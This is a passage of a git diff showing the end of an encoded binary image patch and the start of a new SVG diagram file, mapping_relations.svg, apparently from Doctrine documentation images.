zVzA|ruaKA07w23%0%tsY1YgdU)Aw3!sP2y7lW7}K-X#p-$q5+s;0TQSRbS*R+=p+T
z*^JsHWr#mhhBgi3rB>$>j1M&5N^WXgc-t<lo4Nx<q9f`bmL-h;boxxb@FfpqCE<+c
z28*W@MQv1cwQ}lg*su&-CdV?<UUBSnq{^#)o9D=qmd<9}l(8j2IgiLU6Jk>^`r-sc
z4;q9?AN55P_deDaVB?xPbiZ`0HR_l!IS$3|?sAZk)VZ!cUpf7CR~-^Zh{A9iuG-X5
z8f$h`?)bGSLyl~frKN~4M5V~mMUCtm=w45;{NTxr@^z%*+5a7xpWy2)Qb?Imypge|
zKK-)WHe%(<D)hc}9M0N)DpDej;G^`N=)NRVNTL{@oWhyha_lbeiqmEG)AOTDA&CmC
zx`yGOW9tEj1h8%mCLE*g6_VJs8;dye`elw)8`4S7Cem$qHgJ5Evp3?^SUIPPMb1jW
zq+62(-$IXPxUH%A0z8A7q=u!@);#N1af^?jYfXH!MM@kIk2?9H;JVpGIB;Dyc8eHy
zPN~;C%|7e)ru^dj&|-OcWufdb&dtN_oI3etI%7tn&kqNo|Cx=CCQ1K{vl$sQ$-pgQ
zMqf;+cFshqPsflMGK|bj#Q2<v^)r<7KkMBtg9W#B^I@Qeh==PjC$^%6BYnvjT=DT(
z^y^ZLRWn!1ch1^q<gE?l=HjczHsY(NH)GXHyHQ#bhS9GKbN-CK4e84WVoBtO_~gwa
zA^}lInLHF1<qSfE>^F>+kzv_}-B|X^^~l*(gM^Dm)-R)l)yq*NI(H*{juCZJ;abAu
zW=DF1u2i$tQ#<?fE%5U@Pjy1P($5;TUC!zM!|uX3^d1<6t#_;f=QXh@JTX53r+so3
zE;>9$J~u1fXiS>C023vhb~|<~WQG;^`hnfz%E*kDYO;EumvCgxKXzDLUisio?3Tk0
ziBD7MwsGRAId_QLQ}*Vr_*g#JbTAJe4BFW)Ww;VIAbQW<cFD_UnN-S*;EnmXuvRp1
zGiJvXpW=<oJS#@ryrJkP9p%VY`%5IvJbc_O>8laR_^!-qr-=RD;mJ64SQvJ^<VZiZ
zTNFAcIHb9@EDY%%O~82hUdsAAzQT^h@i_abp$Pku%j=)w>-A9>Jud^@Zy12|{&iS6
zjmy!yk#zP@oYZ`kjw@9l1b9h5$vXY^Nf<t`4mmHZ#>(poy;65JS>2(-$eFF1;(2n+
za6G2Xj1!_be#xWdnMPvt_OZa<R^aQL8dR>?h_~NK#U;N^K(}!<vSd<>k21GfN;CJt
zF!VllvSS&IXhkcxhNH76(4r-x1&6r{FKSdAj=ICTceV(D%DVe#8A(;hNs_xbCQU;R
z+0U_F(d``}V;jw*Q4(#sXr#>TDNXH;Was23?aEYqEu*aPNXh?TJ~scS$U6J2R^F)T
z93^EPF+v!_mJ*lmT+Jc*QKN)KS~yv?mLtd|KxSf1rE87KUDFAG>w&A!!l`4Tuv=vQ
zOE1ZMOR7B*qp@h`TQU<Bg~``h1I@^<zr&yXJu)K3qkqjw&6j??984%ZV#tcI7(G57
zhh#5r)q|cA1?9C02UZox`<l`p<71FEF%<(v*>AXaSA98ZtLtQ7G!*h~7V=+Mj%<0s
z1yd8jFW1)fOT(GjvQI*pmTzXHblNNOo{aG?Pr$yf^0D%lE0D9eKB=JbxasMwuUo{N
z!9o&Y$a`rWvOlUu@|+~}oRipSjk@)z$~jx|P*_4dl4MggX@=O_Q*ruL@^(;RnKXA>
zOttL8#$m|4nHZ8Dfw05`oOHfS<>m0R@;s)TfWglviYv3EkNSz2%FmeOizN9w>X35f
zkpJJ_^}t0{<@>J+I;3Erl0_v38k7tP8E9#OR<i9nzTJAY2_;*JwLXR2Eu*LITll;P
z+fRY7HLzOT0{R2>3EsB2tw>^PusSG%2^l1$kbw?5(`!bd?)#m4=MHy<8Rjntc@Lk<
zy>st5zw<l4d+z!DIp_R-m`-yU0r}yWNgb!>;CVau4M5aX+^U|3u(jjSU85yGIoIOm
zO!~0NR56cMAYEuY4SkN5jC4MT_ye1yn}EpwWVUB5PLD`uQ()nnwDPN?jVATGFePpt
z;&Od){&O0-X9QqE!)Y|9p2p;*p$MNh3BAX^B~#!WL}w{T<(`6t&t6ZsS}|<RS$sos
zLdX-5m`)SrSCvJ9cpsn39$dya$6E5qoJ&kXfv>jz3kTmYARze)nz$dCL7VM8xc$N+
z_!j&(eI)EF8AFMfn@>?LZa6go|Jk2SB9WsZXe#bB+==<IKj1K}O5BsgbY2e<nR%O3
ztz<rL#o=W~@%I-=2)%{|{H0bf^;)zw84<ijiEH?|OX2yqZM1u({X6LB+il<f6?$Gf
zj>?pSIP_O76cN`V?m1csmo+l|zzXAG{mEoxw~`<$3PmT*<b(TR=0mYadPoG<kHg14
z_H5bYcQk}Vh2rivLq(wEDqf2NspJnn;TC>wVBmpkS8dN|aQ&ON&>RITcO~YB8S&Y(
z%`|ZL;lT1KShQvVu3y8R(XvO982R~^-yTKC+q4Y0aXEVc-Tr2hz=;wk?A%{D8M9+%
zV)Fbi(e^|$K1+zh&ClJ*D<J6YM)g`jQ#w$18q3qziVOzzB93Rbc-_{`-j~V2CC`A_
z^;K23keTp198jG=FU>C<PNF%Rr{|+RT7#B(w_$!EeV~O@kUp+Mn@-|PaSvKrZ$reE
zJLn+F=owR`ITan9%;|d^`o$6WSKNYSdxNR05$rXxbmo47+dLSq@N{hbzcMC(NBH^;
z@wk423HSapWX?R|^>=5BGQawM9U4wNjNae<99Z`UAUK4i7ZReF*Hxxz@COmzd@bHH
zotc+Zi)W_atYgsq@$8^H-zz4AyXrdNM*7~I@EU6iSMxpE{XJ<{4nli>z?Qxor*=zU
zR~Jq5l3IM6*od>lRIX4dD4eVj7c^$5u3eCs`AUMpCbQYR#O#%fW?G#67`VX%iD|w+
zw0Gf<QU`x-5f;Bc3-5&MK%yVUe|wIY%o$vfuf)$*PK5TQMOe1zTYN<GRc*A$;BIaK
z1twyQg6Q}oO5@1K3qL#!)uumP_a>%~ps%OTqYvZ8#`!~`<kqvZv7PuqGafS}zMiI+
z-G+n(Jt(6|T+1{8lT_pJeFbxeV3{USM}v*dYVW?Zv=41coEY#uz9YDni7ibfHwQG)
zW?i3UKIeaR-P($44uv~kz$&Ltf-i4!v&NNg1APeJ)iCyBoqRD*6Ai_I793(Lf|S#d
z)JU<9`BhJXk;xuhYe?enmgojVG{%TO<+FqW`>_Xqo3tC>{O}cw{d#ihO7n*_J3C<<
zZHT3VoySicPdm3KVdBJz@THyF?3gGyCQ)or@%JQ}7i3~h?VbPtAOJ~3K~&dbzO%i(
zINos*$3OoZ7gs$7%wH_2-GxiT|3UFuHWtm9g(U7?T=x;P*E&iH+@ZSzA!Oo}rqk4y
z_BpxF=oGo|2r;?vV9R6KDnE<V|1C66smZ)F9(VLD#)Q}QqvQ646jlBUyszv8(;R>C
z-1TVB-iPL?VOYN5T4FCk>MT8oPjbiO&QD@7Q^c|N3_d17=^GNfyq!A9g~xB|)_EJO
zQ}8Z(M&T5d#%Lx_8HKyezN+F@EM0jeuW^j`Cv8)I2Gs#a_&FbUV9JbQXsWRdc+8iP
zc(%^n6L|`AUb-5SCYe`aSZA^L&16T>i!Af^#5~C!J9Z4uWM<-rwZ8}EMqA`}_(OjV
zlL~*2yKjp@=2O2zUDgp?vwM!iV&2FgWfb0k$IQcQuhI7;(3uxN5@06$Od#$0f=%Jc
zJ2hWQM&Xp{>Fm{~$uEqRE!sP6w+ZF!<Zhga?6mpJlbdG(zQ*_)d}-<S$hE~2d_67O
zGvymhjAXNJBb&}V(}~aCnu_b^l20N0AHFI(4@A0;gLatugZmhbt&%-~U*nd^;Z8FO
zYbL=Mg;J?ReqJ6jp5BE1O@E>YK4h|SCiV7U(kq*B|4&xn*Xz=F9Qbgm&XgUMd6+d|
zuqNGKGuZMlD$#cnDW@1k%+^TEo$G<;NEea&;qN-!b<aW<OF7Q2(P$|AU?8r$j%==%
zLHhJlVBtdV)6rGZ-MHG-5|;VD-+dl;t+@2<u*7QY{5pL2F!>jwm4ak?8Y*}ZYmul;
zFlNCRgs4%l>l<&p5s~wv(DdaoGC|$pm;l|UFtK1O9$WnoRzLJho=GSa3iOR9f42d&
zJaz=qMPKrWOLhGiyvJVjk?JrbKs-qmPBDtm(9jWO6irP{!&2Y5bLTL9`gGiIgE(y^
zp~R2y^3<tQ!$QZACKY4wBPpnibo++8KCM>EGYWgACsD!|rz;tgV22o!LX2|9o-d5K
zg*QWe?}$;HYQw}=v+$cI*J0(#m0%2l9c=Dn(%l>)et*?)H=BpA`&S1d7F<PhH{(X6
zzTvDyfAFi}1V1Efrx?YM5afq41!M}0Y6`GHk`2;~QP>+W#rq<Y5H*Sk6KHar4)OW)
zY180qXyI4R*==;&XPCI_d2HGA6qYYvZq_6ilVEtvo;@227A&w^+?x+{Ivrn^h`%>s
zk2I|F=gEY7iIU7HXr)MRzdr(LA(NbB3j7!;zy?XiB%~UJy@8Wy4WjvpnVXn4A?9WG
z{rvneo*QD0uUU;rrFnQh`wxhZk2f<3X7*zBJ7fO(F}{Pb-X^w~*savB??JDXnbAlS
zS6y8_v`o(}kTwe$dpgk8MZ2G+$=HLowjR%yks5ok|Me#k^x$@MSXIH=$J(MF)D|Op
z$gN0^b>pS@k$Vf4r+08+=!r%>Jyw-jlpT&AMs&1wz-F!F*sk>}ap${hb?fQfbPP#{
z!SH%JTFAdt3-lh;I~eLEyhDOUm&5*W3Gt(<rHn!}0f~&m)>&K{E1uclE*|{+Ubmfv
zCWrS!@m4<a|G15x8x!jiwHXG3!4w(KrKO5oyDJoMlTmabCm<LvHx9V!Xe!NsUr;bY
zLW1Gv8;$Z7o5PYTxbb<9716HX*J<)hlJv(45FTD+d*GAg8}d@$fE2$VELm3!RBS|O
zKs0uD30$FJR~me&eXK13)RtWhrgrw$BW;`??QIG{aF8EXZQnnLS?OEKk!Z>j6yS@L
z!g>LX{tj$kHIDW~(Js*70E|oA267`cGD+Wv(C|<kvGGd2C0fpzwTt}Ox}Lr$2u0}2
zjZPQr@2EsjXe8p-7UHvi<x#x_e7#M(o<(7k4dk4Ld}%VWcOC5;K>bAM4;iIRmj)3B
zwX%U(9Q1uC!kwdoF%OoX4ea8z`1|IYZ-%0eB*dx`i(1DW`WRFG_s`h*r~g4rOpJL>
zf-wnJRtm?_gt`S_`NycBfQyVmkMfK}k_bYumCz6NHMK!skL1;PDAH(owY4sP8t#9x
z)U$!y1lm`T0OcgHB9UfO=|UlKr00y3FP0U~E$?Nacx@HBn+uSfUyJH24U&r0wC2Aa
zsi`|rpzfx&^r5a`Hd15X<lD0Mg?Q{tE`gR*a6@Yu@s}m|z+$xTLSE$k2q>uI>Cmk%
zK=HbGo&mKKZ^XumEVTELYHw&pX3ZvSez(mMsp0xXA8G>qO(wRc?;&kSs?qo|TGGHE
z)=fL9dsv=c>w$YPjeVzDz8j-nKcqI<`xRp<x#(_u3Guf*g^teuptu|TICruR9a5Y`
zTt@Yoge7{{@ny~YyVlm_B5(Dd(KSkO7Uvoqooz7@QJY}rDO0B4jn{SpAH54j>5D+k
z2blauE`n>{!(U!|6+9y`&4)1NV9jh8d{;G!uKHahe9^ikI#RY(x+T=G*P?GK#JK3~
zmgADKfnX=1!MeMf-{ZF^P>w@>gWyiyeB0HF{w`FOR>CBUx?1{@=Xa4&_~Xv?JJ3u~
zsnQ8`acYIe7Cf3?g$JVo`37BNCaD1bfx*XvW?JuGW}s-?GpGKZdZajz^39ng7kxCz
zg>O3WWjmQ<j8`IY3x~en#KG9vOum>3@KDSQ%I$;bMTvA~yQTFwnnS}}#?SbmLW;0^
zK)d+SK(3|DNq-XM^kd!6<M>-MVje+0T^&5BM|)!hfn9}JY*t7Sfk%r}D1Nt|AdgH6
zKn-F^!wDc)54=W`Ryyc|)3=n8giIO}%M%oU#O&R?#?;@n*Mi2;8Rh)PCcGQ=GWxMQ
zI~slgDQN7qttRQ4wj+266E8L)m_F8%$KJrKkT>wj_PeoUYYlRig&=yHN&6ZZl6X{0
zf7c=8U@g)X1)yR7ew>*40QnDliQGGm&cvj6XAjl_HlQ=6!p=-15YKGj4+{%JZEY>m
zmo3DDla2U~dzRq6w@OLN54X@HL`K2Nu=3*J5`}tpBP2c*57f0o*Ih^5M}?Q`CEuJY
zz*wX;jqL)q#u+guTa<diW0xGKp<1oNN!y=?Sk<UKyT~ZWS6o;GA|j#@L4%~2d}hR9
z!-f^)kDpX=;`&QA)gUYLXC(7`o_r^TK(i?p(b3W7BTl)I26MK{)QEQ<k4I;|Ai;Cp
zwa^Wc@@?Y~mGVcVpIC?Zq#RU~Y{T~QdKhRBS46Bq<K8szJMxV!$YOP6-6}+!qc$td
zOv)eg?^EK#LthS5;C}<|qhAFdHt_fKE$@R$V=9#iiAX@rJ2isDNoJ_`-l!mFQF`8g
z%m9Gly-LWcf`PQ5KBALq=W4vLS1SMN@!pfGNkVSrC1iu905w~;L8B)cKe-IW>1EKd
ziB7E=%DnqgWHJ>^Lnn4`yBkSc?}bM90pe!ZULWBfwE;}(7Bq?t2sF|0mJNGpr>+WF
zwVh~uT41olO9k&hH=O>O0PRF9nVnL9zaFuXp-{az*c9oV+B}28Bym>`(KN))j9IWV
z8{|dpfH8oXGiTzFM;^hJ&71M?!w(}UC}<Fq5E+HYAlR8D5xz66YWc7L$gIYraaY0U
zGZ))C+p+E@(O-r$5F~k6pHoV-XZC2|gC=>W3%huW38NR8oa=ieg_%aO3n^*Y$VfD4
zH`%*T`0Ofyw$W+W+a-v7JrWHlI&Bxaj7>=Mjpbp*`=y|PqGXne<>=i!TiU=2WEPc;
zvLCj;YKKVnS!`byvnxWDp|VwjnwOK28lQuQ`<@ddXfcC3=L?-cdI^ft$kz|8z+mdc
zcMXMz&m}%@Jcf5^ysgpYAmt$IJe?#r19KWXao?<2L)R7<gO?gPr0>o~Xi_;|zds%u
zGpo?|+zQ^L)v>=2p-a{QYm3mmg=rOnZfZ1(9!7j~oWzqT(}>5{HUp1V=VI%!Sd2>@
zsGj-HiTZbvKgkRgGLEqhQ%Yd6%E%-gl=wsX3W0ggSd8p^G8_H#B&ffdl0Vk`trKA%
zeT?jkZ79zp^8!@#@w8(f(YUDfrvmdNy1hvZgQX@l=_wnNc$%kI6(h>Q_v>?oAUaqJ
z5WbA(PxRwqj+uX^*IuO2VGT9hNZOcR<a(%|XhfU?I*f%jGRDFNbhgq-WE3La>=_&M
z****QoFy^8sD((GgLseSW7n=EKHPH7GWe1<&nIOTTI;uf>HDrH>S&rB*qG5W5VH2W
z6V!hLcu@OaOhW2+o6z0&5&G1xlP2>xVhzQTYA&F7=T;PvSz0@FAA-W~hn~#VhQ1>F
z_18gIR{Se)k6*-c(ttK;y0Ldo9||7~!IOW{(Dze;y6`R7()=QM&V389IsPPAahTIx
z3BT}EsD3uO`;E&Qg@kJ6OCwF{rDRm1UlE8|VNqD~LJ<v1AL6vZoW<=6HZCi#jzCld
z9Z^yIIXY^#phEgg16?8gu?@&rzaHz?=b*Zx3=hn{!a;pTRAy(OvIAuPm<m<FJ5aZh
z<dUP|*+D~L3NeWtD5`4*SGZ=NQ!=%cg8vAq4_);8-i4OCy#42=qPv?`5;eDyDMCy3
zO)}B3fI%b;J+ITEv$YxRS_3o%GziDf6EqbE*m~!&W&m{p*k?S;rY0n*2ixN)_IcSU
zEO;;jRjpO@4t2c3&Aak5Ge}Y#>-VCmhv>lg95K@BvUKDnCBt2d07HT?)3KC%dG3}#
znuNd=6yZ_CRy8=O9Vuht@KH<DK3ENmNwC3P9PAkbV48(gyI`7wy%kPkIR;B)5)8g;
zDHF{!sB&C43Z`wv<2##ND{jusI;@hsKHP(Q#N#d|1hS;Zu@d^Azd4GxcI-fTJq-@1
zK$T>{4#i-m{$7POWR?yLyOXR93HWX5Vkmq9apTP-c#*MPf8sE2-8x$H7Pjpy2M=Xk
z6`2&S#Wec6A#?^sU=F3c#Zao!@RxcDjMV<|s2480!YDuvfQ$3C;BPIxJi+T<e~E~t
z#1&Fuo4pG!C8k*L$tMK2Cj)s0wU`|jhq$@EC{o>zFMJ(|bP8NMX)jc%g{bd5Pqxo?
zsQ1&$R8FP1)|H5*l~6^RJxGoYLN9sG>?QLHIlIFAEG0H&zR6EW^)|hSjnuE=!vfLW
zREdJ}Ix>XmQMxo3%in6jtcWmZYhT7XjS5LO1)}rs8xR!m0t_J$n1x1cTUUXsq$pEE
zhX2H5re)8Rf{pL`j@|g(CJi!gl`uKuNqj)<$z7j{6>*_x`>=%GA(iq8MH2C})c=0l
zTsAy@84jGKHTD-sPq{f3iTC9Y-D?oPp_FJ~L__&5l-EhkT8`SM!|qRx*jS3}sNAJ{
zt_WXDGZZy=`P~L;aX*?q_%jVFYcW5>T3@<!IC@&M$S|bLg3VWmhm=8x%tJb#A=O0O
zWfFboPe7UfOGNOW^bFkj0GV*l^P-D;%~RfipRQPe72>gqE%VTsVW}3)BQF57nlE$-
z%1X+x{5nfbH-Wx)At^9*nxKiW-{O!YJX2vFxjc#p4aJgQm7%O^IUnbU&qo;*VJlIu
z?Sy*sUFhDo4a(3Ul(&s;0mE%EE?^p)ArO)x;!)HVG+;?&km-&JCF)lZ<%Ms?Ca+;P
zNm6H%&G&6rBXemif=oh+itO-@L^!TE=85-_dmx<VC<K(_k&Np0M__1sfxnTe3`VN(
zi0aCRws8X%r@w=&nn;BBZseb&m#DGw8Xq)OzJw>9SjETIedwJsyc4+urYtC^>lWzn
z)Bi$#ayY{M1RYwHTZN|<yQe^lXgPoO<;_N_?_Q&oYODETs;mlRCeqX^6V4dFQp6x9
zKbba31=DmhH8~-H{?{P0=omhFwGR81$5UB>BFXvHJdMBjh$8jzpNIl$UaiI(!OQSM
z>T%5YQ!1WF`V?F|!M9HQdo$fM@yTf<nbjmMfy$`H-lt=%ON`FnK4ExXU4*5vvGC(b
zs-$;ag)q0jsL|C-QR){>Pa<|~@Mq7MX2EuEi%H5<*fnDe*7wA`uAFBtybqcs+fe_@
zB9gj0P`0iHsuB|D+(~RS*9g<n<`IJ8ZV1T_SI3hMaV`jN6BALe<?{iXu)2G>Wld&l
zv1nPaeC#(Zly02BlsUI!WtcyjcCCW)_y%ydPbP8tED4=@bo~8y2;C8bZkh|-lDG(l
zogrvGL*|z-Ggg*BN5e1b2o4kZUUHa+&(PP$84NUC>R~D`FLxP&L8s$%hQ1-o)z{Z^
zZEbB9c{-~zIb~+G#XUzqSY1O`)yI+R08VEE9Uf1e=QMJJBYR$5J-A(chN0=yNAJ%}
zN6IU0r!zEW^{Vrha!X&)uuHF`va&L-z!@GO!n?Nds)wgKH=rImbciz=jV_lYM!>Oy
zc4(Uq21h*Dw=O-{{fieba<rS9KWGkvFK=D(KmPF#>sv$o)^QbCDmD=!9LWV-=McHA
zAMM$*$BctcQ^1kX$I+sUfn-o~q*HKec2lR}GL@!!sJ`TaTCR`NbFV~!%Twz)ojR9O
zW!0I=YPtLb6<2ElMy6y=nXBfXY05GO@WooLwv+XaPOc!C!A{`nwC!BJYM>rkpU<^B
zF(kM~Hxrs(I<d(phskM1;SiE@8QftM&Oo-sD4Z!bR`b|m6vN*Z16NyC#eL(&ibgl1
z@M1%U36#5xf}tZa3pVIW8HUIVtj{cu$RJo*TgjaP&yj#*s~&bw$|&sRvA)j>f=&$F
z*5xdI_mRNmKp<p7nL#RvSpXRP!yUQ}hT`5Grxa!8rg$VBQnj?S;Gh5er`HuO7JOyu
z)T#LT>#w~Ido%((dh{s2BX*>58-KMwzM%K_g_kNGuKwU9^hP}xM!$LU=DCF@GareG
zUDGfl{<JuY`K-?tnLPO6qwp72-FX1R*`f-6enQ0A?6&jyDBuW;4{c0zY5=xf!-(E>
z3eWlT=eym}+-c3})2DI!?YFyAbjUJnqU~~WGk)R1g<+xNkVGDahm5fgM}HUwR7WL9
zwj#;XBxL}MS%|--aBba_J{PZ<z-Eu(h<UtqW<oAo#_KF@-l}&v;IOtZZ@iZxImIY0
z1!8iYG6iG`j7|!8I_TbX(@i5b;IYZ~#6;$HXh1U>om6#<)un8MmzKvmZls(;rhrTV
znF2Be#wG=1M#17yi0gdE<~x+JmMI`pK&HU3QowCSVJjYmh-oj2Ng@95;@M_w3Qyn<
z5s$)NYz^K+s*$#p8TI5$&|WJCds-FIWZqj@oD18lu*F=L!}(i$)zUhKnRGwj2WUws
zorObB8#CqidO7sn%dd@YGK#_RC`8irHf%>w$Z|9au93vsUOC%}P2o0RwxPz)c03BZ
zu{FAOBQ79-kMiZ`7k~i22M4<+wi~m8xoD5(y|=PB7rxQYqQxGcal27tsNlCpF)MNo
z{^v;V7(!Zts$PwsP#<6s-^3#zAP%1nL%)~Qdf8pJP@Eg)ppVTnuw&J#L}ct@yF@)p
z%$xBbm*bv+{85*7kx|%*M<J4kyd<W^vR%uwz2ahA1S_5g$EFx8x%V@l=aiVnGgK71
zq2f{4i>;wQsey*#QP2`=e$_@_UpZo|R?^vvS)p$z!u@&EP}|)HuCJY<GUSl6FwZ-@
zNSh(gL=$P$K_&s4C13uT`4=C7kB?F)0chk4_gh5v<0Am}^bWu=<!2H6x}^6hoF)&Q
zw6~59iuxxq$0_qrw3IySP8Rmw>wB!qN$MY!m;SN%n?VQKa0c3PhbrcGKRp)<top;K
z#C;4Q6|$5ZEvk!=pT7e;{`e#+Dr#_b<V^3hK;s=Smje_R8HMe56at})D1A_gs|pI3
z&rvJiC*C2YxY?dTvmJ**kJs<^Lv)%Dp)Poc=xg@kQ4AGZqy5Nks#%W%yDL$-w}E19
zTQ3^3AG6|%Pd*@b$(ym5x#9Mig$J_9Q_zkB1a0_J+Xs(R)In3gmY%)51pK1OgWvuf
zl89ea6B4~BWg3qdrI3QTRJIXz6xih_ek^>YuQ{?`T1JWx0Wdg-G^1^%U_HHp#>C3=
z_p`y=*XYSxr*C2k5=nat4Glq%Um|vQ&;#RfG|qhmzl=O9ME(mF%RP&+5$w)~9O3!%
z&hYg0uOKOJE!tl)dFLJeS9;mh;D1dRMa&~-pivR%D$j;8w+>IodD-=iP50vDw=E+B
zg}btOjpo3KdOT}#FFuaGjnW3e1vwjsGNMgx+@mv4PtMf#Z(BvtFB{D7sDAq@r0hC^
zhSFyVmXJ3wL-4z1&NSLDoY|*0cxSeOBd@4ju9{-KnNoYjS`G;%<np1J-x6PEu}@yi
z<=olc&TMslf@zz)fh(ac@Co^*?eyKXR42Hy_Fj(S0nv^i6<5{TZQ*``)oigdTdU^M
z#qIjaWG=s~&SGmnMX=+@EfK#JKZ|b+)yZ$c2bZ3i$=63CKi6vEyFtfMFe5IX{0EDv
zHcLr3*Kry%?!ps;CZAwixf2izdFgE4ncZDYbt$<zQiZg&S$vxk@|n8<Etf@YEFgT_
zE7Ivcxg_XhTT*pgRi=`6cc3K~2gLZfwIv!JtJ>TI%9qYH^Vx)FMdaF3D4)eq1V0`w
zdk+Z(8uE%jZWGwMp*$2ZkR!>Prw0#={^@u+D7orxc1Oz<sFYm3q+hYSqkCs|JC{lA
z%dB$6u>@<?$R$s9W)BCJ?(8r&G#61nO6D}I-?@<N?aUVXo$&qD=2Bl@Tf%jd>ygen
z)?ZarkB%!yVBdc-SD|j_4(3xHRS7>vwDR9dF7?)KE|<P{_HB^!BCd|ycp#yO>r%6C
zJDqFi@oeSRQvWDv+{ce6CG0yewDNr>t8QTYbf!t}(9IdR&g8KciJjzYR`DoEN)1)j
zp}M;e3PU})zM?c>&2SQ?3)$?(q3A-4j$U&?Hdcf=kUAX1qp%fQ<F5ZA7vbB(F)NVB
zw)J78`9<PA^;0C_h#n<{HrR?;A=QRlXsLIy&R9Uv_%zsej6Ax2tj5~hOw@gF5Irg9
zD5ULLw34grvsHV^4Nfr@U&A(MDX=2*Whisj<GB6~@~xSGtv`?Aak-K`&Uz5M-$lhu
zNFr|9eZC*MuTRi}z1U1n0a?;h42znIDxA|$0dlH%kKq0jA+w348wXrH`iI_)ObQOQ
zEO;DL=~+nr?K@Z%V@XdQ;3)mqyZ;R`BBrBrg$)OYqZH?{hn5k4eI}L0;AXEl8ntY{
z$-Ve&=3e{^JvvPXb1!}lQ)wW}s@sm0)F0bU-AlJuLzUKs$Nuf-6e?gL0`(f~Ci7Lm
z(JJiNRs)=)qBSq!t2tH3L<lNcUci&sL*cD*@%&98I7*LKN2<_P@EDRb?O14v2uim{
zeR9$CWV=23lZWVmhX2^d1;o=8xttD4M7^hW6*7CQ8kd45vQ)6dhX7y~cH>a^;R3zf
zMGHb%t|5~BcoaQ$V{7!{WXE{~Febs0A`~$+NSd8V3U`G#88%{8u%S`YcFN2@JDU!g
zqV$Ochx6=@dp9Mc<jr!tT~0Dm>Z7>#Y!%*m^BpMD9~kg>I>6y*Fz=)HIL(Zd=-Qnz
zynz_zCV_z($6StMZ3Z$j)?+Qj2Fa|gLPhmT!R>;?7CeYy`iEodCt9>OtC1XGK=zVI
z+~<YKN;BfadeM(+3S^_qPZ_l#P=~eoBL%$oAhJpDc>3;e4{9V+Qc5BUO?J%zQAGeb
z*uA(fE=*J5_PK)461Fl6S_+fA`L1B>+qMLuK~JIOd!cMB4Fq!|$Tj(rU!kNV7uWe+
zgNI3_-dMH=d&+hox$FT1lDFY3gBH!|%?R$^hb78T{JOl&gZ7MUQLiuxf8_>{w^TX|
z&~;Xm2XG~-J1e{rj6+8OKB^9|*akgNR}t4{$zdD{N9v6IcoaT%V{7P8xGWyO*uI}%
z`rB3iHpQ9%BB%RF;!)U-SrMA>07cH+f<3%_z6GzZE{5viJ4eiaP1w@a6u4s}@{ovI
zW`to$Vg)vC+=)k1=JO<-c`Jo7-IR(-7E`3Z2c?^r5hHs5&PJV_IWL~t_bK|Wi^k%(
zXnga261E&V4@dFL^bIdktnCdrdsPhXOUptoO$t|>^dQ~<-<lEnM<H$hQA|?e9dkyg
z!ppN7{fSRWXvsw!x%78G`Ql<{4R%x=;Xxcbu$M_ZbUol+eCdjnSeXz^ibFQKeTAMY
z#?z`y@x?F7&r|G`G!(v5P37{?GhrH{>B=x=4pyvOiG+}^v3fNLfP`j*DiaA?lPE;+
zY-HRs3;iAC@byc@`Pqp`+fs;XvRCeGW*W>GNzT}(2G3FGxFWLON#`ica10u<X_G76
z0W-b%k+T=lISO?V&3%xKPdJh}S~Vnqp*aSrOJIsaK~_S+u4of4DrGT8p=;%GrLKO-
z7Fo^v`t9Rt3#4_bxDqvQK<9L=6}-J(#3!>%u-j{1SxWfjk<F5lu9?f?ZJPql6thCW
zm$0kOPabFsbC+x}zhTPe#gloCf`>_Nk;$H#K=UOmbyhJ~$ZNS~GY$r>Dp!J^(&Qf5
z<c3*%pHg?qY%YV%RS9!4G_R2>aR;r;<k(aLZwpoy@U~r6uk~CFMJ?k>(%HO+_>Nh<
zmWJq2J4c~oE~=GWt!t)cMurhhV||XIxrq8zav6O=t|#dnMK?eHAoepQSE4b!IGgUp
zE!~J4+N-%_a~~xa<oVS+K3YwgX}(f`TTm;`RSENPNUt&>P2a!t`=W187;l_!)1{oF
zV9PumrooKDVG)lqNErnK)Tg6qqi!ut7!6L&#z<f#Ef|Ffl-+m~L&VnL-4NSCMuMKb
zJiNPP2kwU@U_83CWE4(<V(}<Ez>kk-;YN8O4u<WaVAL`SCrNs#vyF8|;R*eujDm;L
zr{lCVme`9GL*0MKWc#}oVv<-E?c^7VNEfyU^|N>{mN|#4Q1b9nG73+0IT8X#Ci(aW
zVuru%x|mB~Hoxj_x+d{CG$z_8O%duOwLky>0d`45K~%gHbl6JHxFNQehj*9k3BtAz
z^5#AAH0tjGe#~{UJLUOu-fV{qOQwJ=3i$XV(9Sv+d*7@SjO{!=<WhWKfYLV=B0#y0
zR@D?i7d3F7hr`^D+a6Y=)r`7pr%>LvZy%WJ?~zKMe)=gNH^STXH8wUPFfb5be)*-h
zL61s!2M!#t2v<2Ok#qv7y1F`CdF7Q(<dn16q5z9a!aTN)mekSF0h07b1f9=6|D68@
zM%MFcC@L!}F_Cud*L$&@tSy(y&G<N`*^I~=lPi%aAX7l5fJ}igNdd2{dK!~0mywn!
zAX7l5fJ_0WC?GQmr^qB{k|`ilK&HUuO97ctT)yvKZn;bWnF2BeoT7ltD4ZgboJppD
zOaYk!moEimMsfMRd%5K@1!M}y6mW_HGNW*cOmZff0x|_;3S7PvkQv40`|jnI%M_3)
zAXC683doGYDKg2KWD3X>kSTEaQb1-Dm+!lmTP{;TrhrTVrzr6MYun`_8ePT600000
LNkvXXu0mjf1o8db

diff --git a/_images/doctrine/mapping_relations.svg b/_images/doctrine/mapping_relations.svg
new file mode 100644
index 00000000000..7dc8979cb1a
--- /dev/null
+++ b/_images/doctrine/mapping_relations.svg
@@ -0,0 +1,602 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="441pt" height="407pt" viewBox="0 0 441 407" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 